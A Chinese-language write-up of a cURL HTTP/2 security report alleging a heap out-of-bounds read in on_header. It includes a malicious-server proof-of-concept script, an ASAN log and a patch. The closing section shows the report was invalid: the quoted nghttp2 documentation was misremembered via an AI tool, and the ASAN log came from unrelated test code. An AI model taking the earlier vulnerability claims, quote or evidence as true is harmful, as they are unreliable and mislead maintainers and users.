堆内存越界读取漏洞:cURL中HTTP/2实现的隐患
漏洞概述
一份提交给cURL项目的安全报告(编号#3506159)揭示了一个存在于libcurl的HTTP/2实现中的堆内存越界读取漏洞。该漏洞位于lib/http2.c文件的on_header回调函数中,当处理PUSH_PROMISE请求头时,代码错误地将nghttp2库提供的原始字节缓冲区指针当作C语言标准字符串(即以空字符\0结尾的字符串)处理。
具体来说,on_header函数将这些指针传递给curl_maprintf函数,并使用了%s格式说明符,这会触发内部的strlen()调用。由于nghttp2提供的是带有明确长度信息的原始字节缓冲区,而非保证以空字符结尾的字符串,strlen()会持续读取内存,直到在相邻的堆内存中碰巧遇到一个空字节,从而导致了越界读取。
漏洞分析与根本原因
API契约违规
根据nghttp2库的官方文档,nghttp2_on_header_callback回调函数会提供指向请求头名称和值的指针(name, value)以及它们的长度(namelen, valuelen)。文档明确指出:
“name和value指针不保证是以空字符结尾的。应用程序必须使用提供的长度参数。”
存在漏洞的实现
在lib/http2.c中,on_header函数在为PUSH_PROMISE请求头格式化字符串时,忽略了长度参数,而依赖于curl_maprintf,该函数内部使用了strlen:
1
2
|
/* lib/http2.c 第1642行附近 - 存在漏洞的代码 */
h = curl_maprintf("%s:%s", name, value);
|
执行流程
curl_maprintf解析%s格式说明符。
- 它内部对
name和value指针调用strlen()。
- 由于恶意服务器发送了一个不包含空字节的请求头,
strlen()会读取超出已分配缓冲区边界的内存,直到在相邻的堆内存中碰巧遇到一个空字节。
- 这导致了越界读取。
复现步骤
1. 构建环境
使用AddressSanitizer(ASAN)编译cURL以可视化内存违规:
1
2
|
./configure --with-nghttp2 --enable-debug CFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address"
make -j$(nproc)
|
2. 复现脚本(http2_server.py)
这个Python脚本(使用h2库)建立一个HTTP/2连接,并推送一个带有非空结尾请求头的流:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
import asyncio, h2.connection, h2.events, h2.config
async def handle(reader, writer):
config = h2.config.H2Configuration(client_side=False)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
conn.update_settings({h2.settings.SettingCodes.ENABLE_PUSH: 1})
writer.write(conn.data_to_send())
await writer.drain()
data = await reader.read(65535)
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.RequestReceived):
conn.send_headers(event.stream_id, [(':status', '200')])
# 恶意载荷:没有空字符结尾逻辑的请求头
malicious_name = b'x-oob-test' + b'A' * 64
malicious_val = b'trigger' + b'B' * 64
conn.push_stream(event.stream_id, event.stream_id + 2, [
(b':method', b'GET'), (b':path', b'/push'),
(b':scheme', b'http'), (b':authority', b'localhost'),
(malicious_name, malicious_val)
])
writer.write(conn.data_to_send())
await writer.drain()
break
writer.close()
asyncio.run(asyncio.start_server(handle, '127.0.0.1', 8080).serve_forever())
|
3. 执行
运行服务器并使用启用了ASAN的cURL进行连接:
终端1:
1
|
python3 http2_server.py
|
终端2:
1
|
ASAN_OPTIONS=detect_stack_use_after_return=1 ./src/curl -v --http2-prior-knowledge http://127.0.0.1:8080/
|
4. 证据(ASAN日志)
以下ASAN输出确认了读取溢出。READ of size...发生在curl_maprintf调用的strlen内部。
1
2
3
4
5
6
7
|
67356ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6c352e0e001a...
READ of size 11 at 0x6c352e0e001a thread T0
#0 0x... in strlen
#1 0x... in curl_maprintf
#2 0x... in on_header lib/http2.c:1642
...
0x6c352e0e001a is located 0 bytes after 10-byte region...
|
建议的修复方案
代码必须使用nghttp2回调提供的显式namelen和valuelen参数来限制读取操作。
补丁(lib/http2.c): 使用精度说明符%.*s,它接受一个整数参数(长度)放在字符串指针之前。
1
2
|
/* 修复后的实现 */
h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
|
差异对比:
1
2
3
4
5
6
7
|
--- a/lib/http2.c
+++ b/lib/http2.c
@@ -1642,7 +1642,7 @@ static int on_header(nghttp2_session *session, const nghttp2_frame *frame,
h = curl_maprintf("%s:%s", name, value);
+ h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
|
影响
- 信息泄露:攻击者可以读取堆内存中与请求头缓冲区相邻的敏感数据(如密钥、令牌、其他请求数据)。
- 可用性:如果越界读取访问了未映射的内存,应用程序将崩溃。
讨论与后续
报告提交后,cURL维护者bagder迅速介入讨论。他首先指出,当前的nghttp2实现实际上确实进行了空字符终止,并质疑了报告的可靠性。在进一步交流中,提交者darksql承认,用于演示的ASAN日志来自一个独立的测试代码,而非完整的libcurl构建,但他坚持认为代码违反了API契约,是一个真正的缺陷。
bagder随后引用了nghttp2回调的实际文档,该文档明确指出:“name和value都保证是以空字符结尾的”。他据此认为,虽然代码风格可能不完美,但当前实现并未违反API,因此不构成安全漏洞。报告最终被标记为“不适用”并关闭。bagder还提到,一个几乎相同的问题之前已被错误地报告过(报告#3480078)。
在报告被披露前的最后交流中,darksql透露,他最初对API契约的理解可能源于使用AI工具翻译和总结技术文档时产生的误解(“AI幻觉”),这导致他错误地引用了文档。bagder对此表示,这种行为导致了darksql被禁止参与cURL的安全报告计划。报告最终按项目透明度政策被公开披露。